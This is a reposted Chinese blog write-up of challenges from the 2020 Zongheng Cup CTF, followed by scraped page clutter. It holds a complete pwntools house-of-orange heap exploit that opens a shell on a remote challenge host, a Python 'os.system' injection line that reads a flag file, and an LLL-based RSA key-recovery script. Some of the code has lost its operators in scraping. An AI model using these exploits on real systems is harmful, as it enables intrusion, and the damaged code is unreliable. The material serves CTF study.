2020-12-30

转载

weixin_46315812 于 2020-12-30 08:53:02 发布 64 收藏

原文链接：https://blog.csdn.net/Kr0ne/article/details/111824668?depth_1-

版权

纵横杯2020

原创

Kr0ne 2020-12-27 19:26:54 1084 收藏

最后发布:2020-12-27 19:26:54 首次发布:2020-12-27 19:26:54

本文链接： https://blog.csdn.net/Kr0ne/article/details/111824668

wind_farm_panel

保护全开

```
daidaishou:~/Desktop/纵横杯/wind_farm_panel$ checksec ./pwn
[*] '/home/daidaishou/Desktop/纵横杯/wind_farm_panel/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

分析一波发现输入永远是0x1000可以溢出，然后是没有dele。

那就是house of orange了，贴个脚本。

```
from pwn import *
context.log_level = 'debug'
```

```
# p = process('./pwn')
elf = ELF('./pwn')
# libc = elf.libc
libc = ELF('./libc-2.23.so')
p = remote("182.92.203.154", 28452)
```

```
def add(idx, size, content):
p.sendlineafter('>>', '1')
p.sendlineafter(':', str(idx))
p.sendlineafter(':', str(size))
p.sendafter(':', content)

def show(idx):
p.sendlineafter('>>', '2')
p.sendlineafter(':', str(idx))

def edit(idx, content):
p.sendlineafter('>>', '3')
p.sendlineafter(':', str(idx))
p.sendafter(':', content)

gdb.attach(p)
add(0, 0x108, 'aaaa')
edit(0, b'\x00' 0x108 + p64(0xef1))
add(1, 0x1000, 'bbbb')
add(2, 0x108, 'c' 8)
show(2)
p.recvuntil('c'8)
leak = u64(p.recv(6) + b'\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x678
log.info('libc: '+ hex(libc_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
payload = 'A' 0xF + 'B'
edit(2, payload)
show(2)
p.recvuntil('B')
leak = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = leak - 0x110
log.info('heap: '+ hex(heap_base))
payload = b'\x00' 0x100
io_file = b'/bin/sh\x00'
io_file += p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) + p64(0) + p64(1)
io_file = io_file.ljust(0xc0, b'\x00')
payload += io_file
payload += p64(0) 3 + p64(heap_base + 0x300 - 8) + p64(0) * 2 + p64(libc_base + libc.sym['system']) #
edit(2, payload)
# p.sendlineafter('>>', '1')
# p.sendlineafter(':', str(3))
# p.sendlineafter(':', str(0x600))

p.interactive()
```

7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

babymaze2

下载附件，打开start.sh看到一个python2，就试了一下

```
__import__('os').system('cat flag')
```

1

common

看上去两组d都很大，但是都不满足约束，参考翅膀师傅博客得到这个。

```
e1 = 28720970875923431651096339432854172528258265954461865674640550905460254396153781189674547341687577
e2 = 13102126600280278685438865308072914027344390214166577817060446511362034607651126212482937183872481
n = 15907740821965469798051313904006715465957069691475003657906969182172338198944845990313758832472014
c1 = 39271160836162213728405548853500467610171589037641347982950067368350296408717130302411099628910206
c2 = 11063473020675831414329998727406342828603899814595056449569482122776781063550304732108550908925834
import gmpy2
def long_to_bytes(x):
    return bytes.fromhex(hex(x)[2:])
```

for i in range(731, 682, -1):
print(i)
alpha2 = i / 2048
M1 = round(n ^ 0.5)
M2 = round(n ^ (1 + alpha2))
A = Matrix(ZZ, [
[n, -M1n, 0, n^2],
[0, M1e1, -M2e1, -e1n],
[0, 0, M2e2, -e2n],
[0, 0, 0, e1e2]
])
AL = A.LLL()
C = Matrix(ZZ, AL[0])
B = A.solve_left(C)[0]
phi1 = floor(e1 B[1] / B[0])
phi2 = floor(e2 * B[2] / B[0])
d1 = gmpy2.invert(e1, phi1)
d2 = gmpy2.invert(e2, phi2)
m1 = long_to_bytes(pow(c1, d1, n))
m2 = long_to_bytes(pow(c2, d2, n))
m = m1+m2
if b'flag' in m:
print(m)

【2020第四届“强网杯“全国网络安全挑战赛】强网先锋 Funhash
weixin_45844670的博客

08-24 314
题目链接：http://39.101.177.96/ <?php include 'conn.php'; highlight_file("index.php"); //level 1 if ($_GET["hash1"] != hash("md4", $_GET["hash1"])) { die('level 1 failed'); }
//level 2
if($_GET['hash2'] === $ET[hash3]||md5(_GET[‘hash2’]) !== md5(

i春秋2020新春公益赛WEB复现Writeup
A_dmin的博客

02-24 2631
Day1 简单的招聘系统 ezupload babyphp 盲注 Day2 blacklist Ezsqli easysqli_copy Day3 Flaskapp easy_thinking ezExpress node_game

```
<textarea class="comment-content" name="comment_content" id="comment_content" placeholder="优质评论可以帮助作者获得更高权重" maxlength="1000"></textarea>
<div class="comment-emoticon"><img class="comment-emoticon-img" data-url="https://csdnimg.cn/release/blogv2/dist/pc/img/" src="https://csdnimg.cn/release/blogv2/dist/pc/img/emoticon.png" alt="表情包"></div>
<span class="comment-emoticon-tip">插入表情</span>
<div class="comment-emoticon-box">
  <div class="comment-emoticon-img-box">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:001.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/001.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:002.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/002.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:003.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/003.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:004.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/004.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:005.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/005.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:006.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/006.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:007.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/007.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:008.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/008.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:009.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/009.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:010.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/010.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:011.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/011.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:012.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/012.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:013.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/013.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:014.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/014.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:015.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/015.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:016.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/016.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:017.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/017.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:018.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/018.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:019.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/019.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:020.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/020.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:021.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/021.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:022.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/022.png">
    <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:023.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/023.png">
```

```
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:024.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/024.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:025.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/025.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:026.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/026.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:027.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/027.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:028.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/028.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:029.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/029.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:030.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/030.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:031.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/031.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:032.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/032.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:033.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/033.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:034.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/034.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:035.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/035.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:036.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/036.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:037.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/037.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:038.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/038.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:039.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/039.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:040.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/040.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:041.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/041.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:042.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/042.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:043.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/043.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:044.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/044.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:045.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/045.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:046.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/046.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:047.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/047.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:048.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/048.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:049.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/049.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:050.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/050.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:051.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/051.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:052.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/052.png">
<img class="emoticon-monkey-img" data-emoticon="[face]monkey2:053.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/053.png">
```

```
      <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:054.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/054.png">
      <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:055.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/055.png">
      <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:056.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/056.png">
      <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:057.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/057.png">
      <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:058.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/058.png">
      <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:059.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/059.png">
      <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:060.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/060.png">
      <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:061.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/061.png">
      <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:062.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/062.png">
      <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:063.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/063.png">
      <img class="emoticon-monkey-img" data-emoticon="[face]monkey2:064.png[/face]" src="https://g.csdnimg.cn/static/face/monkey2/064.png">
    </div>
  </div>
  <div class="opt-box">
   <div id="ubbtools" class="add_code">
    <a href="#insertcode" code="code" target="_self"><i class="icon iconfont icon-daima"></i></a>
   </div>
   <input type="hidden" id="comment_replyId" name="comment_replyId">
   <input type="hidden" id="article_id" name="article_id" value="111824668">
   <input type="hidden" id="comment_userId" name="comment_userId" value="">
   <input type="hidden" id="commentId" name="commentId" value="">
   <div class="dropdown" id="myDrap">
    <a class="dropdown-face d-flex align-items-center" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
     <div class="txt-selected text-truncate">添加代码片</div>
     <svg class="icon d-block" width="200px" height="100.00px" viewBox="0 0 2048 1024" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M597.33333292 298.666667h853.333334L1023.99999992 725.333333 597.33333292 298.666667z"></path></svg>
    </a>
    <ul class="dropdown-menu" id="commentCode" aria-labelledby="drop4">
     <li><a data-code="html">HTML/XML</a></li>
     <li><a data-code="objc">objective-c</a></li>
     <li><a data-code="ruby">Ruby</a></li>
     <li><a data-code="php">PHP</a></li>
     <li><a data-code="csharp">C</a></li>
     <li><a data-code="cpp">C++</a></li>
     <li><a data-code="javascript">JavaScript</a></li>
     <li><a data-code="python">Python</a></li>
     <li><a data-code="java">Java</a></li>
     <li><a data-code="css">CSS</a></li>
     <li><a data-code="sql">SQL</a></li>
     <li><a data-code="plain">其它</a></li>
    </ul>
   </div>
   <div class="right-box" id="rightBox" data-type="2">
     <span id="tip_comment" class="tip">还能输入<em>1000</em>个字符</span>
     <a data-report-click="{&quot;spm&quot;:&quot;3001.4374&quot;}" class="btn btn-sm btn-quick-comment" id="quickComment">“速评一下”</a>
     <a data-report-click="{&quot;mod&quot;:&quot;1582594662_003&quot;,&quot;spm&quot;:&quot;1001.2101.3001.4227&quot;,&quot;ab&quot;:&quot;new&quot;}"><input type="submit" class="btn btn-sm btn-comment" value="发表评论"></a>
```

```
  </div>
  </div>
 </form>
 <input type="button" class="bt-comment-show" value="评论">
</div>
<div class="comment-list-container" style="display: block;">
 <a id="comments"></a>
 <div class="comment-list-box"><ul class="comment-list"><li class="comment-line-box d-flex" data-commentid="14400091" data-replyname="qq_37924905"><div style="display: flex;width: 100%;">      <a target="_blank" href="https://blog.csdn.net/qq_37924905"><img src="https://profile.csdnimg.cn/F/F/E/3_qq_37924905" username="qq_37924905" alt="qq_37924905" class="avatar"></a>        <div class="right-box ">          <div class="new-info-box clearfix">            <a class="comment-tag" target="_blank" href="https://blog.csdn.net/blogdevteam/article/details/103478461">爱码士<img class="comment-tag-img" src="https://csdnimg.cn/release/blogv2/dist/components/img/commentTagArrowWhite.png" title="爱码士"></a><a target="_blank" href="https://blog.csdn.net/qq_37924905"><span class="name ">水巷石子</span></a><span class="colon">:</span><span class="floor-num"></span><span class="new-comment">看君一席文，胜读十年书！</span><span class="date" title="2020-12-29 18:30:37">14小时前</span><span class="new-opt-floating"><a class="btn-bt  btn-reply" data-type="reply" data-flag="true">回复</a><a class="btn-bt  btn-report"><img class="btn-report-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentMore.png" title=""><span data-type="report" class="hide-report">举报</span></a></span></div><div class="comment-like " data-commentid="14400091"><img class="comment-like-img unclickImg" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentUnHeart.png" title="点赞"><img class="comment-like-img comment-like-img-hover" style="display:none" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentActiveHeart.png" title="点赞"><img class="comment-like-img clickedImg" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentActiveHeart.png" title="点赞"><span></span></div></div></div></li></ul><ul class="comment-list"><li class="comment-line-box d-flex" data-commentid="14396052" data-replyname="qq_40542534"><div style="display: flex;width: 100%;">      <a target="_blank" href="https://blog.csdn.net/qq_40542534"><img src="https://profile.csdnimg.cn/D/D/E/3_qq_40542534" username="qq_40542534" alt="qq_40542534" class="avatar"></a>        <div class="right-box ">          <div class="new-info-box clearfix">            <a class="comment-tag" target="_blank" href="https://blog.csdn.net/blogdevteam/article/details/103478461">爱码士<img class="comment-tag-img" src="https://csdnimg.cn/release/blogv2/dist/components/img/commentTagArrowWhite.png" title="爱码士"></a><a target="_blank" href="https://blog.csdn.net/qq_40542534"><span class="name ">strive_day</span></a><span class="colon">:</span><span class="floor-num"></span><span class="new-comment">很好的文章，点赞</span><span class="date" title="2020-12-29 15:08:34">17小时前</span><span class="new-opt-floating"><a class="btn-bt  btn-reply" data-type="reply" data-flag="true">回复</a><a class="btn-bt  btn-report"><img class="btn-report-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentMore.png" title=""><span data-type="report" class="hide-report">举报</span></a></span></div><div class="comment-like " data-commentid="14396052"><img class="comment-like-img unclickImg" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentUnHeart.png" title="点赞"><img class="comment-like-img comment-like-img-hover" style="display:none" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentActiveHeart.png" title="点赞"><img class="comment-like-img clickedImg" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentActiveHeart.png" title="点赞"><span></span></div></div></div></li></ul><ul class="comment-list"><li class="comment-line-box d-flex" data-commentid="14391643" data-replyname="qq_37960603"><div style="display: flex;width: 100%;">      <a target="_blank" href="https://blog.csdn.net/qq_37960603"><img src="https://profile.csdnimg.cn/8/3/3/3_qq_37960603" username="qq_37960603" alt="qq_37960603" class="avatar"></a>        <div class="right-box ">          <div class="new-info-box clearfix">            <a class="comment-tag" target="_blank" href="https://blog.csdn.net/blogdevteam/article/details/103478461">爱码士<img class="comment-tag-img" src="https://csdnimg.cn/release/blogv2/dist/components/img/commentTagArrowWhite.png" title="爱码士"></a><a target="_blank" href="https://blog.csdn.net/qq_37960603"><span class="name ">ITKaven</span></a><span class="colon">:</span><span class="floor-num"></span><span class="new-comment">博主不光能写的一手好代码，还能写的一手好文章。</span><span class="date" title="2020-12-29 10:43:55">22小时前</span><span class="new-opt-floating"><a class="btn-bt  btn-reply" data-type="reply" data-flag="true">回复</a><a class="btn-bt  btn-report"><img class="btn-report-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentMore.png" title=""><span data-type="report" class="hide-report">举报</span></a></span></div><div class="comment-like " data-commentid="14391643"><img class="comment-like-img unclickImg" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentUnHeart.png" title="点赞"><img class="comment-like-img comment-like-img-hover" style="display:none" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentActiveHeart.png" title="点赞"><img class="comment-like-img clickedImg" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentActiveHeart.png" title="点赞"><span></span></div></div></div></li></ul><ul class="comment-list"><li class="comment-line-box d-flex" data-commentid="14390861" data-replyname="kimol_justdo"><div style="display: flex;width: 100%;">      <a target="_blank" href="https://blog.csdn.net/kimol_justdo"><img src="https://profile.csdnimg.cn/E/6/2/3_kimol_justdo" username="kimol_justdo" alt="kimol_justdo" class="avatar"></a>        <div class="right-box ">          <div class="new-info-box clearfix">            <a class="comment-tag" target="_blank" href="https://blog.csdn.net/blogdevteam/article/details/103478461">爱码士<img class="comment-tag-img" src="https://csdnimg.cn/release/blogv2/dist/components/img/commentTagArrowWhite.png" title="爱码士"></a><a target="_blank" href="https://blog.csdn.net/kimol_justdo"><span class="name ">不正经的kimol君</span></a><span class="colon">:</span><span class="floor-num"></span><span class="new-comment">大佬，我准备跟你混了！</span><span class="date" title="2020-12-29 10:06:15">22小时前</span><span class="new-opt-floating"><a class="btn-bt  btn-reply" data-type="reply" data-flag="true">回复</a><a class="btn-bt  btn-report"><img class="btn-report-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentMore.png" title=""><span data-type="report" class="hide-report">举报</span></a></span></div><div class="comment-like " data-commentid="14390861"><img class="comment-like-img unclickImg" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentUnHeart.png" title="点赞"><img class="comment-like-img comment-like-img-hover" style="display:none" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentActiveHeart.png" title="点赞"><img class="comment-like-img clickedImg" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentActiveHeart.png" title="点赞"><span></span></div></div></div></li></ul><ul class="comment-list"><li class="comment-line-box d-flex" data-commentid="14378663" data-replyname="weixin_44671737"><div style="displ
```

ay: flex;width: 100%;"> <img src="https://profile.csdnimg.cn/E/3/5/3_weixin_44671737" username="weixin_44671737" alt="weixin_44671737" class="avatar">   爱码士<img class="comment-tag-img" src="https://csdnimg.cn/release/blogv2/dist/components/img/commentTagArrowWhite.png" title="爱码士">兴趣使然的程序猿:666，反手就是一个赞，欢迎回赞哦~昨天回复<img class="btn-report-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentMore.png" title="">举报 <img class="comment-like-img unclickImg" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentUnHeart.png" title="点赞"><img class="comment-like-img comment-like-img-hover" style="display:none" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentActiveHeart.png" title="点赞"><img class="comment-like-img clickedImg" src="https://csdnimg.cn/release/blogv2/dist/pc/img/commentActiveHeart.png" title="点赞"> <ul class="comment-list"><li class="comment-line-box d-flex" data-commentid="14375093" data-replyname="weixin_46036037"> <img src="https://profile.csdnimg.cn/6/4/A/3_weixin_46036037" username="weixin_46036037" alt="weixin_46036037" class="avatar">   码哥<img class="comment-tag-img" src="https://csdnimg.cn/release/blogv2/dist/components/img/commentTagArrowWhite.png" title="码哥">hiya2021:大佬好，babymaze2具体怎么解的能详细说一下吗？萌新不太懂。

import('os').system('cat flag')//这代码要怎么让远端执行？昨天回复 举报

-
- <
- 1
- >
-

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中，而且不经过解压就能被 php 访问并执行，与file:// php://等类似，也是一种流包装器。
phar结构由 4 部分组成

stub phar 文件标识，格式为 xxx<?php x…

2020 纵横 杯网络安全竞赛web-wp_Firebasky的博客
12-27
2020 纵横 杯网络安全竞赛web-wp 一键三连 点赞Mark关注该博主, 随时了解TA的最新博文 [CTF]网鼎 杯2020-青龙组-Web-FileJava-WriteUp
纵横 杯mosaicWP_怎么改昵称的博客
12-27
题目来源https://race.ichunqiu.com/competition?k=Xj9SZAs0UGABe1Y4UDtQMwtoBWNePVBlBG0DZwJlBjAFb1psXWcGNQY3VmRTbg%3D%3D 纵横 杯马赛克下载下题目发现是一...
《进击的虫师》爬取豆瓣电影海报Top250（2020年10月23日更新）
zhaoolee的CSDN博客

10-23 458
title: 有人想学一点编程, 但是一直没有找到感兴趣的切入点,可以简单的爬虫入手! 几十行代码, 轻松爬取豆瓣Top250电影数据,即刻体会编程的乐趣...
给人用的爬虫工具Requests

工具介绍:

Python3(python是很容易上手的编程语言,非常适合编程新手)
Requests(这是Python的一个开发库, 简洁好用)
lxml (可以通过xpath语法, 按需…

10年老电脑如何提速_2020年10月如何挑选轻薄本/轻薄型笔记本电脑？（适合大学生、工作党）...
weixin_39713578的博客

11-02 16
【更新：加入 联想小新Pro14、联想Yoga 14s、惠普战66第四代 三款机型】【更新：加入 华硕灵耀X 纵横、华硕X逍遥 两款机型】【更新：加入 联想小新Air15、联想Thinbook14/15/15p 三款机型】【更新：加入 惠普战X 锐龙版 机型】【更新：加入 联想Y9000X、机械革命Umi Pro Ⅱ、华为Matebook13 三款机型】（本文于2020年8月7日发表，不定时更新，建...
纵横 杯 -re部分_20000s的博客
12-27
纵横 杯 -re部分 friednly re sub413590 sub4120c0 sub412040 sub411db0 sub41123f是关键函数 main函数中先nop掉几个指令,能够输入...
纵横 杯签到题_■ 诺克发■ 的博客
12-27
纵横 杯签到题 解法 一连串4位数,但不在a~z的ASCII码值之间,所以应该不是十进制数,是八进制数,转成字符,发现得到了flag。

flag{w3lcome_to_2ong_h3ng_be1...

浓缩就是精华

天下文章一大抄，只有做得好，没有抄的好!

03-25 2万+

『凡人牧场』人生启示录：被称为世上最经典的25句话(转载) 作者：晶晶鱼 提交日期：2003-12-31 15:32:40 1，记住该记住的，忘记该忘记的。改变能改变的，接受不能改变的。 2，能冲刷一切的除了眼泪，就是时间，以时间来推移感情，时间越长，冲突越淡，仿佛不断稀释的茶。 3，怨言是上天得至人类最大的供物，也是人

湖南省中职学业水平考试复习试题(语文)

Android&Java&C

05-21 2万+

语文文化科题库

选择题

1.下列选项中的词语书写有错误的一项是（B）

A.湿润 脑髓 B.锐智 自栩 C.大度 丰富 D.蛮横 磕头

2.下列选项中的惯用词语，使用不得体的一项是（C）

A.学生给一位刚刚病愈后的老师写的信，最后的致敬语是“敬祝痊安”。

B.有位海外游子给其祖父写信，落款是“XX顿首”。

C.有位长辈给侄儿写信说：“此事望你钧裁。”

D.给朋友写信，末…

纵横 杯babymaze1WP_怎么改昵称的博客

12-27

题目来源:https://race.ichunqiu.com/competition?k=Xj9SZAs0UGABe1Y4UDtQMwtoBWNePVBlBG0DZwJlBjAFb1psXWcGNQY3VmRTbg%3D%3D 纵横 杯babymaze1根据题目进行...

纵横 杯CTF部分WEB题解_ChenZIDu的博客

12-27

纵横 杯CTF部分WEB题解 easyci 一道SQL注入题,大概思路:sql注入写入shell,读取flag文件。 sqlmap先读取"/etc/apache2/apache2.conf"内容。

人民币对内大幅贬值!

魔笛的序曲

09-07 814

□□乍看这个题目，很多人第一个反应就是写错了。人民币面临巨大的升值压力，何来贬值而言？不错，对外升值，对内贬值---国际市场上，人民币VS美元要升值，在国内人民币VS大排面要贬值。 1、美元公式：一个很重要的公式是我们一切分析的基础：美元报价=人民币报价*汇率。如一只中国产的茶 杯，价格4元，人民币汇率8.27，茶 杯卖到美国，报价为4/8.27=0.5元美元。美国抱怨中国货太便宜，0.5美元的

人民币大贬值!30元一碗面为期不远!

lightninglu的专栏

05-30 1806

人民币大贬值!30元一碗面为期不远! (转) 作者：流舸 人民币大贬值!30元一碗面为期不远! 这篇文章最近很火，确实听说过人民币顶住压力不升值的说法，原因是那样会降低出口的利润，但是我看了好几遍，怎么就看不懂呢？@_@哪位财经高人路过解释一下... 乍看这个题目，很多人第一个反应就是写错了。人民币面临巨大的升值压力，何来贬值而言？不错，对外升值，对内贬值-国际市场上，人民币VS美元要升值，在

PWN的一些做题记录_Zoxiee的博客

12-30

纵横 杯 wind_farm_panel 难点:无 程序:任意改堆块头数据,造成溢出,无free,与hitcon2016 houoforange基本一样 直接houseof orange改topchunk->size让他进入unsorte...

Kr0ne CSDN认证博客专家 CSDN认证企业博客

码龄1年 暂无认证

11
原创

16万+
周排名

38万+
总排名

8040
访问

等级

186
积分

11
粉丝

8
获赞

25
评论

21
收藏

私信
关注

热门文章

- 西湖论剑wp 2737
- 差分攻击DES 2718
- 纵横杯2020 570
- RSA-OAEP 基于python实现 790
- CTFshow月饼杯crypto部分wp 236

分类专栏

- ctf 6篇

最新评论

- 纵横杯2020
  水巷石子: 看君一席文，胜读十年书！
- 纵横杯2020
  strive_day: 很好的文章，点赞
- 纵横杯2020
  ITKaven: 博主不光能写的一手好代码，还能写的一手好文章。
- 纵横杯2020
  不正经的kimol君: 大佬，我准备跟你混了！
- 纵横杯2020
  兴趣使然的程序猿: 666，反手就是一个赞，欢迎回赞哦~

最新文章

- 花式Ret2dl
- HECTF&X1CTF
- RoarCTF

2020年11篇

目录